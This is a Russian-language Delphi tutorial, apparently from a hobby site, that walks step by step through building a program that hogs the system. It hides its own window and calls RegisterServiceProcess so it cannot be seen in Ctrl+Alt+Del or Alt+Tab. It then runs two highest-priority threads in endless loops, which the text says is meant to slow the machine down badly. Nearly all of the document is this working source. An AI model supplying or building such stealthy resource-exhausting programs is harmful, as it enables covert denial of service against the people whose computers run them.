Delphi - Step 3 {Программа Priority}
Если что-то не понял или не получилось, то можешь скачать здесь исходники.

Теперь рассмотрим программу, работающую с потоками.
Потоками можно сильно затормозить систему, установив им высокий приоритет.

1. Откройте меню File и выберите пункт New Application.
2. Снова File -> Save Project As. Сохраните модуль как ThrdUnit, а проект - как ThrdProj.
3.  File ->  New. И выбери объек типа поток (Thread Object). Появится окно New Items, в
нем надо ввести TSimpleThread.

Delphi создаст шаблон для нового потока, с таким содержанием:

unit Thrd;

interface

uses
  Classes;

type
  TSimpleThread = class(TThread)
  private
    { Private declarations }
  protected
    procedure Execute; override;
  end;

implementation

{ Important: Methods and properties of objects in VCL can only be used in a
  method called using Synchronize, for example,

      Synchronize(UpdateCaption);

  and UpdateCaption could look like,

    procedure TSimpleThread.UpdateCaption;
    begin
      Form1.Caption := 'Updated in a thread';
    end; }

{ TSimpleThread }

procedure TSimpleThread.Execute;
begin
  { Place thread code here }
end;
end.   

4. сохрани его как Thrd.pas.
5. Теперь снова открой его и удали все содержимое, а потом вставь следущее:

unit Thrd;
interface
uses
   Classes;
type
   TSimpleThread = class(TThread)
private
   { Private declarations }
protected
procedure Execute; override;
public
   Count : Integer;
   end;
implementation
   { TSimpleThread }
procedure TSimpleThread.Execute;
Var
   I: Integer;
begin
   While True
   Do Begin
   For I := 1 To 10
   Do
   Inc( Count );
end;
end;
end.

6. Теперь в главном файле модуля ThrdUnit.pas и добавьте модуль Thrd к списку используемых 
модулей файл ThrdUnit.pas должен выглядеть так:

unit ThrdUnit;
interface
uses
  Classes, Forms, thrd, Windows;
type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);

private
    { Private declarations }
Thread1, Thread2: TSimpleThread;
  end;
   function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
 external 'KERNEL32.DLL';       {это делает программу невидимой в Ctrl+Alt+Del, в Alt+Tab}
var
  Form1: TForm1;

implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
   Application.ShowMainForm:=False;         {это делает невидимой форму программы}
   if not (csDesigning in ComponentState) then
   RegisterServiceProcess(GetCurrentProcessID, 1);
  Application.ShowMainForm:=False;
  Thread1 := TSimpleThread.Create( False );
  Thread1.Priority := tpHighest;
  Thread2 := TSimpleThread.Create( False );
  Thread2.Priority := tpHighest;
end;
end.

6. Нажми Ctrl+F12 и открой ThrdProj.dpr, вставь туда следущее:

program ThrdProj;
uses
  Forms,
  ThrdUnit in 'ThrdUnit.pas',
  Thrd in 'Thrd.pas';
begin
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  end.

7. Ничто не буде работать если не сделать двойной клик на форме (т.е. OnCreate - FormCreate)
8. F9 (run) - все готово правда exe-шник занимает 289кб подумай над тем,
как его уменьшить.

P.S. Да вот еще чуть не забыл в ThrdUnit.pas есть такие строки
Thread1.Priority := tpHighest;
Thread2.Priority := tpHighest;
- это как раз выставляет приоритет потокам.
Допустимыми значениями приоритета являются:
 tpIdle, tpLowest, tpLower, tpNormal, tpHigher, tpHighest и tpTimeCritical (по мере возрастания). 
Если поставишь tpTimeCritical, то движения курсора ты нескоро дождешься.


Если что-то не понял или не получилось, то можешь скачать здесь исходники.








Hosted by uCoz